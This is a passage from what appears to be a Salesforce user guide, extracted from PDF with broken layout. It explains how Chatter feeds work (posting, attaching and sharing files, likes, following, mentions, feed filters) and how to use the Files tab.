Click , which appears on hover, to delete posts and comments. You can delete posts and comments you've made and
posts and comments made by other people on the Chatter feed on your profile, on records you own, and on posts and
comments you've made in other feeds. Deleted posts disappear from your feed and you can't restore a post after you delete
it. Users with the Modify All Data permission can delete all comments and posts.
Click Unfollow in the Chatter feed to stop following people or records.
Click More to expand a long post or comment.
Like a post to receive email notifications for subsequent comments, or just to show your support. However, you don't get
email notifications if you like a comment. Only the user who posted the comment, receives email notifications for likes on
that comment.
Bookmark a post that interests you. When someone comments on a post you bookmarked, you receive an email notification.

2403

Feeds

Posts in Chatter Feeds

Share public posts to your profile or with a group that youre a member of. You can also send a link to the post to other
Chatter users in an email or instant message.

See Also:
Feeds
Following People
Following Records
The People and Records You Auto-Follow Initially
Profile Overview
Chatter Groups Home

Posts in Chatter Feeds


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Post updates to the feed on your profile, public groups, private groups you belong to, or on records.
When you post to a feed, you can:

Attach a file or a link


Add a topic
Mention another person

Anyone can see posts you make on other people's profiles. People following a record see your post in their Chatter feed. Anyone
who can see a record sees your post on the record's feed.

See Also:
Using Chatter Feeds
Posting an Update

Posting an Update
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Post updates to let people know what you are working on, to ask questions, and share information.
1. On your profile, the Home tab, a group, or in Chatter, click Post at the top of your feed.
2. Type your update in the text box.
You can also add a topic and mention another person.
3. Click Share.

2404

Feeds

Viewing a Single Chatter Update

Your post appears on your profile and people following you see your post in their Chatter feed. If youre posting on a page of
a private group, only members of the group can see your post.

See Also:
Using Chatter Feeds
Posts in Chatter Feeds

Viewing a Single Chatter Update


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can view a single Chatter update in a feed for a user, record or group.

In a Chatter feed, click the timestamp displayed below the update, for example, Yesterday at 12:57 AM.
In a Chatter email notification, click the link in the body of the email to view only the related update.
To view the full feed, above the update, click All Updates.

Feed Attachments
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Share files and links with people by attaching them to posts.


You can attach links and files to posts and comments from your computer, Salesforce CRM Content libraries, Chatter feeds
in a profile, a record, or a group, and the Files list. All file types are supported, including everything from Microsoft PowerPoint
presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.
This table describes who can see a file you attached and where it appears:
If You Attach a File:

Who Can See It?

Where Does it Appear?

On a Chatter feed

All Chatter users in your company

On your profile or on someone else's


profile

All Chatter users in your company

In your and your followers' Chatter


feeds, and profile
On the Files list and Salesforce CRM
Content of all Chatter users in your
company
In your feed, their feed, your
followers' feeds, and their followers'
feeds and profiles
In the Files Owned list on your
profile

2405

Feeds

Feed Attachments

If You Attach a File:

Who Can See It?

Where Does it Appear?

On the Files list and Salesforce CRM


Content of all Chatter users in your
company

On a private group you're a member of

Members of the group and users with

Modify All Data and View All Data


permissions

In your feed and the group members'


feeds
In your feed on your profile
In the feed on the group
In the Group Files list on the group
On your and the group members'
Files lists and Salesforce CRM
Content

On a public group

All Chatter users in your company

In your feed, your followers' feeds,


and the group members' feeds
In your feed on your profile
In the feed on the group
In the Group Files list on the group
On the Files page and Salesforce
CRM Content of all Chatter users in
your company.

On a record

All Chatter users in your company

In your feed (if you're following the


record), your followers' feeds, and the
record's followers' feeds
In your feed on your profile
In the feed on the record
In the record's Notes and
Attachments related list
On the Files lists of all Chatter users
in your company

See Also:
Attaching a File to a Post or Comment
Attaching a Link to a Post
Searching for Files to Attach to a Chatter Feed
Downloading and Previewing a File in a Chatter Feed
File Size Limits in Salesforce

2406

Feeds

Attaching a File to a Post or Comment

Attaching a File to a Post or Comment


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Share files and links from Salesforce or from your computer with people by attaching them to posts or comments.
You can attach all file types, including Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image
files, audio files, and video files. The maximum file size is 2 GB.
When you attach a file, consider the following:

When a file is posted to a feed, everyone in your company can see it even if the file started out as private. Only files posted
in a private group stay private within that group.
Attaching a file from a group or library creates a reference to the file. If you update a file in Salesforce CRM Content, the
updates are also reflected in the feed.

1. Click File at the top of your feed to attach a file to a post, or Attach File below a comment to attach a file to a comment.
If youre commenting on an update resulting from feed tracking on a file, the Attach File option isnt available.
2. Do one of the following:

Click Select a file from Salesforce to attach a file that someone has already uploaded.
Click Upload a file from your computer to attach new files from your computer.

3. Browse for the file you want to attach.


Links, Google docs, documents from the Documents tab, and attachments from the Notes and Attachments related list
aren't included in the Select a File to Attach list. For more information about finding files to attach, see Searching for Files
to Attach to a Chatter Feed on page 2417.
4. Add a post or comment about the file.
If you dont enter any text, a generic update is posted with your attachment.
5. Click Share.

Attaching a Link to a Post


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Share links with people by attaching them to a post.


1.
2.
3.
4.

Click Link at the top of your feed.


Enter the URL to share.
Enter the Link Name.
Enter your post in the field below. If you don't enter any text, a generic update is posted with your link.

If you share a URL to a video hosted in the YouTube video community, a video player displays the video in the feed update.
The video player includes a thumbnail preview and the video title. Clicking the thumbnail plays the video in the Chatter feed.

2407

Feeds

Sharing a Chatter Post

When you click the video title or the URL, a new browser window opens the YouTube video community website that
contains the video. Currently, the Chatter video player only works with links to videos hosted in the YouTube video
community.

Sharing a Chatter Post


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Sharing lets you quickly copy a public post to your profile or a group.
You can share public Chatter posts that contain text, links, or files to your profile, with a group, or using a link to the post.
When you share a post, keep in mind:

You can share a post to your own profile, but not to another persons profile.
You can share the original post, including any files and attachments, but you cant share any comments or likes.
You can comment on the shared post, but you cant edit a shared post.
You cant share feed tracked items and custom feed items, such as approvals, dashboard snapshots, or case interactions.
You can only share posts with a group youre a member of.
You can share a post to a group that allows customers. However, customers and other group members cant share posts
from a private group.
Only Chatter users inside your company can see a post that you shared using a link in an email or instant message.

When someone shares your post, you receive an email notification. To change your email notifications, click Your Name >
Setup > My Chatter Settings > Chatter Email Settings.

See Also:
Sharing a Chatter Post with a Group
Sharing a Link to a Chatter Post
Sharing a Chatter Post to Your Profile

Sharing a Chatter Post to Your Profile


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Copy a public post to your profile to share it with the people who follow you.
You can share public posts, but you cant share feed tracked items and custom feed items, such as approvals, dashboard
snapshots, or case interactions.
1.
2.
3.
4.

Find the post you want to share in your Chatter feed.


Click Share.
Write a comment about the post or leave the comment field blank.
In the drop-down list, select My profile.

2408

Feeds

Sharing a Chatter Post with a Group

5. Click Share.
The shared post appears in the Chatter feed on your profile.

Sharing a Chatter Post with a Group


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can share posts with a group that youre a member of.
You can share public posts, but you cant share feed tracked items and custom feed items, such as approvals, dashboard
snapshots, or case interactions.
1.
2.
3.
4.
5.

Find the post you want to share in your Chatter feed.


Click Share.
Type a comment about the post or leave the comment field blank.
In the drop-down list, select A group.
Type part of the group name and select the group from the list.
If you are sharing a post with a file, select Viewers to allow group members to only view the file, or select Collaborators
to allow group members to download and modify the file.

6. Click Share.
The shared post appears in the feed of the group.

Sharing a Link to a Chatter Post


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Share a post with other Chatter users via email or instant message.
When sharing a link to a post, keep in mind:

1.
2.
3.
4.

You cant share a link to a post from a private group.


You can share public posts, but you cant share feed tracked items and custom feed items, such as approvals, dashboard
snapshots, or case interactions.
In order to see the post, the people to whom you send the link to the post must be Chatter users.
Find the post you want to share in the Chatter feed.
Click Share.
In the top corner, click Show link to post.
Copy and paste the link in an email or instant message and send it to the people with whom you want to share the post.
When recipients of the email or instant message click the link to the post, the post appears in their Chatter updates.

2409

Feeds

Liking Posts and Comments

Liking Posts and Comments


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

After you click Like on a post, you receive email notifications if others comment on that post. If you click Like on a comment,
only the user who posted the comment receives an email notification, but you receive an email notification for any subsequent
comments.

To stop liking a post or a comment, click Unlike. When you stop liking a post or a comment, you don't receive email
notifications for subsequent comments or likes.
View the profiles of others who have liked a post by clicking their name at the bottom of the post or comment, for example,
John Smith likes this.
If more than three people like a post, click the link to see the full list; for example, You, John Smith, and 2 others like
this. From that list, you can follow or stop following people.
Likes on comments show how many people have liked the comment, for example, 1 person or 7 people. To see their
names, click the link.

Viewing the Source of an Update


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

View the source of a post or comment in a feed, for example, Yesterday at 12:57 AM via Chatter for BlackBerry. This link
displays when a person posts to a feed using a Chatter Mobile client.

Sorting Your Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Sort by drop-down list at the top-right of your Chatter feed sorts the feed by most recent posts or most recent post and
comments.
1. Click Sort by at the top-right of your Chatter feed.
2. Select Post Date to sort by most recent posts, or Post & Comment Date to sort by posts with the most recent comments.
Your feed is sorted by Post & Comment Date by default. You can toggle between sorting by Post Date and Post &
Comment Date at any time.
Tip: If you want to keep track of a particular post, use bookmarks. Bookmarks help you find a post quickly, even if
the post doesnt have any recent comments.

2410

Feeds

Feed Filters

Feed Filters
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Feed filters display a subset of posts in your Chatter feed on the Chatter tab.
My Chatter
Displays all Chatter feed posts from people you follow, groups you are a member of, and files and records you're following.
Use the drop-down list next to Updates for My Chatter at the top of your feed to further narrow the subset of posts.
The My Chatter feed filter is selected by default.
Bookmarks
Displays your bookmarked posts in your Chatter feed.
All Chatter
Displays all Chatter feed updates with comments from your entire company. This includes posts and updates that have
comments from:

People in your company, the ones you follow and the ones you don't follow
Public groups, including the ones you are not a member of
Private groups you are a member of
Feed updates that your administrator configured for feed tracking, including the ones you're not following. However,
you only see the feed updates for items that you are allowed to access.

Me
Displays both posts others make to your Chatter feed, as well as updates where you have been mentioned.
People
Displays a list of all Chatter users in your company, including the ones you don't follow.
Groups
Displays updates for groups you are a member of. Use the All Groups, Recently Viewed, and My Groups lists to further
narrow the subset of group posts.
Files
Displays files you're following, as well as files posted to people, groups, and records you're following. Use the Recently
Viewed, Files I Own, Files Shared with Me, and All Files lists to further narrow the subset of files.

2411

Feeds

Following People

Records (for example, Accounts or Opportunities)


Displays updates for records you are following. You only see a filter if you're following at least one record of a standard
or custom object type. For example, if you're not following any contacts, the Contact filter doesn't display.

See Also:
Using Chatter Feeds
Sorting Your Chatter Feed

Following People
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Follow people to see updates in your Chatter feed, including posts, comments, and likes.
Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.

Click

Follow to follow a person wherever you see the persons name in Chatter, for example on the:

Persons profile page


People list view
Persons hover
Recommendations list
Followers and Following lists

Once you follow people, you see their posts, comments, and likes in your Chatter feed. You can follow a maximum of 500
people and records.
To stop following a person, hover over the persons name and click
you dont see future updates from that person in your Chatter feed.

next to Following. When you stop following a person,

See Also:
People Overview
Using the Following and Followers Lists
Using Chatter Feeds

2412

Feeds

Following Records

Following Records
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To view a record:

Read on the record

Follow records so you can see updates in your Chatter feed, including field changes, posts, and comments on records.
The field changes you see in your feed are determined by the fields your administrator configured for feed tracking. Updates
to encrypted custom fields don't display in feeds.
Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.

To follow a record, click

Follow next to the record on a

Record detail page


Salesforce Knowledge article
Persons Following list

When you follow a record, you see updates to the record in your Chatter feed.
To stop following a record, click on the record detail page or on the records hover. After you stop following a record, you
dont see future updates to the record in your Chatter feed.
Consider these tips when following records in Chatter:

You dont automatically follow records you create. To automatically follow records you create, go to Your Name > Setup
> My Chatter Settings > My Feeds and select Automatically follow records I create. However, you don't auto-follow
events, tasks, or dashboards in Chatter after you create them.
When you create person accounts, you can only auto-follow the account fields, not the contact fields.
You can follow a maximum of 500 people and records.

See Also:
Customizing Chatter Feed Tracking
Using the Following and Followers Lists
Using Chatter Feeds

2413

Feeds

The People and Records You Auto-Follow Initially

The People and Records You Auto-Follow Initially


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Starting in June 2010, when your administrator initially turns on Chatter, we help get you started by automatically following
certain users and records in your organization. Who and what you auto-follow differ based on the size of your organization:
If Your Organization
Has:

Users You Follow

Records You Follow

15 users or fewer

All users in your organization

Up to 25 of your most recently used records, in the


following order:
1. Open opportunities you own
2. Accounts you own
3. Open cases you own
4. Contacts you own
5. Open opportunities you created
6. Accounts you created
7. Open cases you created
8. Contacts you created
9. Open opportunities you last modified
10. Accounts you last modified
11. Open cases you last modified
12. Contacts you last modified
13. Open opportunities you viewed
14. Accounts you viewed
15. Open cases you viewed
16. Contacts you viewed

16 or more users

Up to 25 users in your organization,


including (if available):
Your manager
Users that report to your manager
Your subordinates
Teammates on your account teams
Teammates on your opportunity
teams

Up to 25 of your most recently used records, in the


following order:
1. Open opportunities you own
2. Accounts you own
3. Open cases you own
4. Contacts you own
5. Open opportunities you created
6. Accounts you created
7. Open cases you created
8. Contacts you created
9. Open opportunities you last modified
10. Accounts you last modified
11. Open cases you last modified

2414

Feeds

Automatically Following Records You Own

If Your Organization
Has:

Users You Follow

Records You Follow


12. Contacts you last modified
13. Open opportunities you viewed
14. Accounts you viewed
15. Open cases you viewed
16. Contacts you viewed

Note: The auto-follow setting for records only applies to the records that already exist at the time your administrator
turns on Chatter. For any future records you create, auto-follow is disabled by default to reduce the number of updates
you receive in your Chatter feed. However, if you want to receive updates on all future records you create, you can
enable auto-follow in Setup > My Chatter Settings > My Feeds.

See Also:
Following People
Following Records
Using the Following and Followers Lists
Automatically Following Records You Own
Customizing Search Settings

Automatically Following Records You Own


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions.

User Permissions Needed


To view a record:

Read on the record

When you follow records you create, updates are sent to your Chatter feed when you or someone else changes a tracked field
on those records.
By default, you dont automatically follow the records you create. If you want to automatically follow the records you create,
you must enable auto-follow in your Chatter Settings.
1. Click Your Name > Setup > My Chatter Settings > My Feeds.
2. Select Automatically follow records I create.
3. Click Save.

2415

Feeds

Mentioning People in Posts and Comments

Note: If the Account Owner field isn't tracked and someone changes the owner of an account, the new owner won't
automatically follow the account. To automatically follow a record when someone else assigns you ownership, your
administrator must enable the owner field on the object for feed tracking.

See Also:
Following People
Following Records
Feeds
The People and Records You Auto-Follow Initially

Mentioning People in Posts and Comments


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo (1:10 minutes)


When you post or comment in Chatter, you can mention a person's name to make sure that person sees your update. Mentioning
a person is a way to keep them informed when you're discussing something relevant to them.
For example, let's say your coworker Madison posts that she is looking for leads at the company Universal Paper, and you
know that Bob Smith has contacts at that company. You can reply to Madison's post with the comment: Talk to @Bob
Smithhe knows a few folks at the company. Bob Smith is notified about your post and Madison can click @Bob Smith in
the update to view Bob's Chatter profile.
To mention someone:
1. Enter @ followed by the first few letters of the person's name.
2. Select the person from the list of matches.
The list includes all matches, people you follow and people you don't follow.
3. Post your update.
The following happens:

The person's name becomes a link to their profile.

Your update appears on the mentioned person's profile feed and in their
Me filter.
Chatter emails a notification to the person you mentioned. The person also receives a notification every time somebody
comments on the update where they were mentioned.

You can't have more than 25 mentions in a single post or comment.


Search for mentions by entering @ followed by a person's name (such as @Madison Rigsby) in the header search box. In
the search results, click Search Chatter Updates to see where Madison Rigsby is mentioned in Chatter posts and comments.

2416

Feeds

Searching for Files to Attach to a Chatter Feed

Mentioning Someone Who Doesn't Have Access to a Record or Private Group


Chatter enforces all the security and sharing rules in Salesforce. If you post an update to a record or private group and mention
someone who doesn't have access to that record or isn't a member of the private group, the mentioned person won't see your
update. Specifically:

You receive a warning that the person isn't part of the group.
The mentioned person isn't notified about the update.
The update doesn't appear in the mentioned person's profile feed or in their
Me filter.
The mention appears as a gray link (instead of a blue link). Whenever you see a mention in gray, the mentioned person
isn't able to see the update.
Note: If you're mentioning someone that isn't part of the group but has the Modify All Data permission, the
link still displays as blue. However, the person won't be notified about the update, and you won't receive any
warning.

For example, let's say you create a private group for your sales team and forget to add your coworker Sandy Dunn to the group.
When you post an update to this group and mention Sandy Dunn, she won't be notified about the update and won't see the
update because she's not a member of the private group. If you later add Sandy to the group, Chatter doesn't notify her about
the previous mentions.

See Also:
Feeds
Posting an Update
Adding Topics to Posts and Comments

Searching for Files to Attach to a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

When you click File and Select a file from Salesforce on a Chatter feed, a list of files you own and have access to from Chatter
and Salesforce CRM Content is displayed. The 25 most recently viewed files are listed by default. When you find the file you
want to attach, click Attach next to that file.
From the Select a File to Attach list you can see and search a certain group of files by clicking a specific filter on the sidebar.

All FilesAll files you own and have access to from Chatter and Salesforce CRM Content, including:

Files that have been shared with you


Files you're following
Files in your Chatter groups
Files in your Salesforce CRM Content libraries
Files attached by other people to a Chatter feed. This includes files attached to all public groups, whether you're a
member or not, and private groups you're a member of, but not private groups you're not a member of.

Recently ViewedThe most recent files you've viewed.


MY FILESAll files you own, files shared with you, and files you follow.

2417

Feeds

Performing Actions on a File in a Chatter Feed

Files I OwnFiles you have:


-

Uploaded on the Home or Files page. These are private and not shared with anyone, but you can view them, perform
actions, share them, and attach them to Chatter feeds.
Attached to Chatter feeds from your computer.
Uploaded to Salesforce CRM Content libraries you're a member of and your personal library.

Files Shared with MeAll files that have been shared with you either by a private share or a public post to your profile.
Files I FollowAll files that you're following.

FILES IN MY GROUPSAll files you and other people shared to groups you're a member of. The last five groups
youve visited are listed.
FILES IN MY LIBRARIESAll files you and other people uploaded to libraries you're a member of and all files you
uploaded to your personal library. The first five libraries you're a member of, including your personal library, are listed. If
you're a member of more than five libraries, click More to see a complete list.
Note: Only files from libraries that you're a member of and where you have Post Content to Chatter Feeds
or Manage Library checked in your library permission definition are listed.

To search for files from the search box:


1. Optionally, click a filter on the sidebar to restrict your search to a specific set of files.
2. Enter your search terms in the search box. You can search by file name, description, owner, type, or within the file's text.
3. Click Search to see a filtered list of all relevant files based on your search terms. Or click

to clear your search terms.

The Select a File to Attach list doesn't include:

Documents from the Documents tab.


Attachments from the Notes and Attachments related list.
Links attached to posts in Chatter
Files from your personal library

See Also:
Attaching a File to a Post or Comment
Downloading and Previewing a File in a Chatter Feed
Removing and Deleting Files and Links from a Chatter Feed

Performing Actions on a File in a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can perform the following actions on files in feeds.

PreviewClick the file thumbnail or click More Actions > Preview next to the file.
DownloadClick More Actions > Download next to the file.
Upload new versionClick More Actions > Upload New Version next to the file.

2418

Feeds

Downloading and Previewing a File in a Chatter Feed

View file detail pageClick the file name or More Actions > View File Details next to the file.
FollowClick Follow next to a file to receive updates about the file in the Chatter feed. Click to stop receiving
updates about the file.
ShareClick More Actions > File Sharing Settings next to the file to share the file with people, groups, or via link.

To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2437.

See Also:
Removing and Deleting Files and Links from a Chatter Feed
Following Files
Sharing Files with People
Sharing Files with Groups
Downloading and Previewing a File in a Chatter Feed
Uploading a New Version of a File
Viewing the File Detail Page

Downloading and Previewing a File in a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Not only can you download and save files posted to Chatter feeds, you can also preview files in your browser without downloading
them.
There are several places in Chatter where you can download and preview files:

On the Files pageClick


> Download or click the preview ( ) icon next to the file.
On any Chatter feedClick More Actions > Download next to the file, or to preview the file, click on the file thumbnail
or click More Actions >

Preview.

On the Files Owned by list on a profileClick

On the Files Shared with list on a groupClick


> Download or click the preview ( ) icon next to the file.
In the Notes and Attachments related list on a record, click Download next to the feed attachment, or to preview the file,
click Preview next to the feed attachment.

>

Download or click the preview (

) icon next to the file.

Previewing a file opens it in your browser with the enhanced document viewer. The enhanced document viewer provides the
following capabilities for viewing documents:

In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document
toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous Page.
You can use the scroll bar to move continuously through a document without needing to click the Next Page and Previous
Page icons. Continuous scrolling is not available for PowerPoint files.
You can jump directly to a page by entering the page number in the page field and pressing Enter.
From the right-click menu you can choose Fit Width to expand the width of the document, or Fit Full Page to preview
the whole page of the document. The fit width icon (

) and fit full page icon (

) are also available on the toolbar.

2419

Feeds

Removing and Deleting Files and Links from a Chatter Feed

From the right-click menu you can choose Full Screen to preview the document in full screen mode, or Exit to exit full
screen mode. The full screen icon (

) and exit icon (

) are also available on the toolbar.

From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also
available on the toolbar.
You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer and
use the keys as follows:
Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document
forward one page.
Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document
backward one page.
Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document up the
page.
Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document
down the page.
Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25
MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as
generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

See Also:
Feed Attachments
Removing and Deleting Files and Links from a Chatter Feed

Removing and Deleting Files and Links from a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

There are different ways to remove and delete Chatter files and links depending on where they appear. To remove a file or
delete a link from a Chatter feed, you must delete its post. You can delete posts and comments you've made and posts and
comments made by other people on the Chatter feed on your profile, on records you own, and on posts and comments you've
made in other feeds. Deleted posts disappear from your feed and you can't restore a post after you delete it. To delete a file,
you must go to the file detail page or content detail page. You can only delete a file if you are the file owner. Users with the
Modify All Data permission can delete all comments, posts, files and links.

Removing a File from a Chatter Feed


To remove a file from a Chatter feed, you must delete its post. When you delete a post that includes a file, you're not deleting
the file, just the reference to the file; the file remains in its original location. If the file was attached to a post and not shared
in other locations, deleting the post also removes the reference to the file and the file goes back to being private, but can be
shared again later.

Removing a File from a Chatter Feed on a Record


There are two ways to remove a file on a Chatter feed on a record:

2420

Files

Files Overview

Remove the file on a Chatter feed by deleting its post. This deletes the post, removes the file from the feed and from the
Notes and Attachments related list, but the file remains in its original location. If the file isn't posted anywhere else, it
goes back to being private, but can be shared again later.
Remove the file on a Chatter feed by clicking Del next to the feed attachment on the Notes and Attachments related list.
This removes the file from all Chatter feeds where it's been shared and deletes the file from the Notes and Attachments
related list. Restore the file by clicking on the Recycle Bin, selecting the file, and clicking Undelete. If the file was attached
from your computer, a Chatter feed, group, or a Salesforce CRM Content library, deleting it from the Notes and Attachments
related list also removes it from the post, but doesn't delete it from its original location.

Deleting a link from a Chatter Feed


To delete a link on a Chatter feed, you must delete its post.

Deleting a File from a File Detail Page


Click Delete on a file's detail page to delete the file and remove it from all locations where it's been shared. If the file is shared
via link, anyone with the link will no longer have access to the file. To restore the deleted file, click on the Recycle Bin link
on the Home page. Select the file and click Undelete. The file is restored as well as all of the shares that were associated with
it.

Deleting a File from a Content Detail Page


When you post a file in Chatter, the file also appears in Salesforce CRM Content. To delete the file from Chatter, Salesforce
CRM Content, and all locations where it's been shared, click the name of the file on the Libraries, Content, or Subscriptions
tab. From the content details page, click Edit > Delete Content to delete the file. Deleting a Chatter file from the content
details page deletes the file from Salesforce CRM Content and from Chatter.To restore deleted content, click on the Recycle
Bin link in any tab. Select the content and click Undelete.

See Also:
Feed Attachments
Downloading and Previewing a File in a Chatter Feed

FILES
Files Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Use the Files page to upload, store, find, follow, share, and collaborate on files in the cloud.

Watch a Demo on Sharing Files in Chatter (2:45 minutes)


Any file you own and have access to is available to share or attach to posts or comments on Chatter feeds. All file types are
supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image

2421

Files

Using the Files Tab

files, audio files, and video files. Files up to 2 GB can be uploaded by default. However, your maximum file size is determined
by your organization.
Files are automatically added to the Files list when:

You upload a file.


You or someone else attaches a file to a Chatter feed or comment. This includes files attached to all public groups, whether
you're a member or not, and private groups you're a member of, but not private groups you're not a member of.
Someone else shares a file privately with you using the Sharing dialog box.
You upload a file to a Salesforce CRM Content library.
Someone else uploads a file to a library you're a member of.
You or someone else creates a content pack or uploads a Web link in Salesforce CRM Content. You only see files from
content packs and Web links you have access to.

To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2437. For more information
about Chatter files and Salesforce CRM Content files, see What is the difference between Files, Salesforce CRM Content,
Salesforce Knowledge, and Documents? on page 3566

See Also:
Using the Files Tab
Overview of Uploading and Sharing Files
Searching for Files
Viewing the File Detail Page
Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments

Using the Files Tab


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

On the Files page, you can:

See all the files you own or have access to and filter a certain group of files.
Search for files using specific filters and by typing terms in the Files search box, or the search box at the top of the page.
Upload private files or upload and share files with people, groups, or via a file link.
Preview a file without downloading it.

Click
to download, upload a new version, share with people, groups, or via link, and see sharing settings.
Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter
feed for files you follow.

Follow and receive updates about a file in the Chatter feed. Click
updates about the file.

next to the file you're following to stop receiving

2422

Files

File Recommendations Overview

Click a file owner's name to see his or her profile.

See Also:
Files Overview

File Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter recommends files that you might want to follow based on the popularity of the file, determined by the number of
people who have viewed or downloaded the file. To see an expanded list of your recommendations, click More in the
Recommendations section. If no recommendations appear, then you already viewed all the recommended files.

See Also:
Viewing Your Recommendations
Following Files

Overview of Uploading and Sharing Files


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Upload and share files from:

The Home page


The Files page
The Files Shared with list on a group
The Files Owned by list on a profile

All file types are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe
PDFs, image files, audio files, and video files. Files up to 2 GB can be uploaded by default. However, your maximum file size
is determined by your organization.

The Files Page


When you upload files, theyre added to MY FILES and Files I Own on the Files page. Files you upload from the Files page
are automatically uploaded as private. You own files you upload.
Files are also automatically added to the Files page by:

Attaching a file to a Chatter feed.


Uploading files to Salesforce CRM Content personal and shared libraries.
Creating content packs or uploading Web links in Salesforce CRM Content.

2423

Files

Uploading Files

The Files list doesn't include:

Documents from the Documents tab.


Attachments from the Notes and Attachments related list.
Note: Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.

Private Files
A private file is private, not shared with anyone, and you are the file owner. Only file owners and users with the View All
Data permission can see private files. Private files are indicated by the word Private and a lock icon in both the MY FILES
and Files I Own lists and on the file's detail page. You can search for your private files in Chatter and on the Files list.

Sharing Private Files


You can share private files from the file detail page or by attaching them to a Chatter feed, a profile, a record, or a group. You
can also share a file via a link. When you share a private file, it's no longer private. To learn who can perform which actions
on a file, see File Sharing Settings and Permissions on page 2437.

See Also:
Files Overview
Uploading Files
File Size Limits in Salesforce
Viewing the File Detail Page
Uploading a New Version of a File
Deleting a File from the File Detail Page

Uploading Files
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can upload one or more files from the Files page, the Files filter on the Chatter tab, the Files Shared With list on a group,
or the Files Owned by list on a profile.
Depending on your browser and settings, you may only be able to upload one file at a time. For information on browsers that
support uploading multiple files, see Browsers That Support Uploading Multiple Files on page 2425.
1. On the Files page, the Files filter on the Chatter tab, the Files Shared With list on a group, or the Files Owned by list on
a profile, click Upload Files.
2. In your browsers file selection dialog box, select the files you want to upload.
Press CTRL to select multiple files.
Tip: You can also drag the selected files onto the Files list. This is not supported in Internet Explorer.

3. In the Upload to My Files dialog box, view the status of your file uploads.

2424

Files

Browsers That Support Uploading Multiple Files

If you decide not to upload the files youve selected, do one of the following:
a. To cancel uploading a particular file, to the right of the upload status indicator, click .
b. To cancel all remaining files, at the bottom of the dialog box, click Cancel Remaining Uploads.
Youll need to manually delete files that were uploaded before you clicked Cancel Remaining Uploads from the file
detail page.
4. When your files have been uploaded, click Close.
When you upload files from the Files page, the files are private. You must manually share the files with people or groups.

See Also:
Overview of Uploading and Sharing Files
Files Overview
Sharing Files with Groups
Sharing Files with People
Sharing Files via Link

Browsers That Support Uploading Multiple Files


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

These browsers allow you to upload multiple files from the Files tab, the Files Shared With list on a group, or the Files Owned
by list on a profile. If your browser does not support uploading multiple files, you can still upload files one at a time.
Browser

Additional Requirements

Google Chrome

Must be the latest stable version

Mozilla Firefox

Must be the latest stable version

Internet Explorer 7, 8, 9

Must have Flash 11 or later installed

Apple Safari for Mac

Version 5.1.x

See Also:
Uploading Files
Using the Files Tab

2425

Files

Filtering Your Files List

Filtering Your Files List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Click a filter on the sidebar to see a certain subset of files.


The Files tab lists all the files you own or have access to. Filters show you certain groups of those files, letting you find what
youre looking for quickly.
Filter Name

Description

All Files

All files you own and have access to.

Recently Viewed

The most recent files you've viewed.

MY FILES

All of the files you own, files shared with you, and files you
follow.

Files I Own

Only the files you own.

Files Shared with Me

Only files that have been shared with you either by a private
share or a public post to your profile.

Files I Follow

